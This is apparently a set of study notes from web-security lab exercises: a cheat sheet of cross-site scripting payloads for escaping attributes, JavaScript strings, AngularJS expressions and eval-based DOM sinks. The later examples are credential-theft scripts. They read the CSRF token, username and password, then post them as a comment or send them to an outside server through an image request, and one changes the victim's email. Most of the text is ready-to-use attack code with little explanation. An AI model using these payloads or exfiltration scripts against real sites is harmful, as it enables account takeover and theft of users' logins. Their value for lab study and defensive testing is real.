if you see the payload is encoded such as: > attempt to inject the payload in the same tag for example
#Example
<input type=text placeholder='Search the blog...' name=search value="PAYLOAD HERE">
#Injecting within the same tage
<input type=text placeholder='Search the blog...' name=search value="" onmouseover="alert(1)">
XSS when double quotes are encoded
Find any other parameter where the input is reflected such as href:
javascript:alert(1)
XSS into a JavaScript string with angle brackets HTML encoded
If the payload is reflected in a structure such as: var searchTerms = 'mypayload';
'; alert(1); '
DOM XSS in AngularJS expression
if you identified a ng-app word in html is worth to try this payload:
{{constructor.constructor('alert(1)')()}}
Reflected DOM XSS
This application uses a vulnerable JavaScript script that utilizes the eval function to process a parameter passed into the application and reflects it onto the website.
function search(path) {
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
eval('var searchResultsObj = ' + this.responseText);
displaySearchResults(searchResultsObj);
}
};
xhr.open("GET", path + window.location.search);
xhr.send();
function displaySearchResults(searchResultsObj) {
var blogHeader = document.getElementsByClassName("blog-header")[0];
var blogList = document.getElementsByClassName("blog-list")[0];
var searchTerm = searchResultsObj.searchTerm
var searchResults = searchResultsObj.results
Exploit:
GET /search-results?search=12345\"};alert(1);//
Reflected XSS into HTML context with tags and attributes blocked
if the espace character is encoded you could use %09 (tab) to bypass the space restriction.
<--Example of canonical link that encode brakets and space-->
<link rel="canonical" href='https://0a8b00c004a774198352284200910030.web-security-academy.net/?param=1'/>
<--To bypass the space-->
1'%09onclick=alert(1)%09accesskey='x
Reflected XSS into a javascript string with single quote and blackslash escaped
function steal() {
var token = document.getElementsByName('csrf')[0].value;
var username = document.getElementsByName('username')[0].value;
var password = document.getElementsByName('password')[0].value;
var data = new FormData();
data.append('csrf', token);
data.append('postId', 8);
data.append('comment', `${username}:${password}`);
data.append('name', 'example');
data.append('email', 'intrusionz3r0@example.com');
data.append('website', 'http://test.com');
fetch('/post/comment', {
method: 'POST',
mode: 'no-cors',
body: data
});
}
Example 4: Sending data via Get
function steal() {
var token = document.getElementsByName('csrf')[0].value;
var username = document.getElementsByName('username')[0].value;
var password = document.getElementsByName('password')[0].value;
var exfiltratedData = `username=${encodeURIComponent(username)}&password=${encodeURIComponent(password)}&csrf=${encodeURIComponent(token)}`;
var img = new Image();
img.src = `http://tu-servidor.com/steal?${exfiltratedData}`;
}
Example 5: Change Email information
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};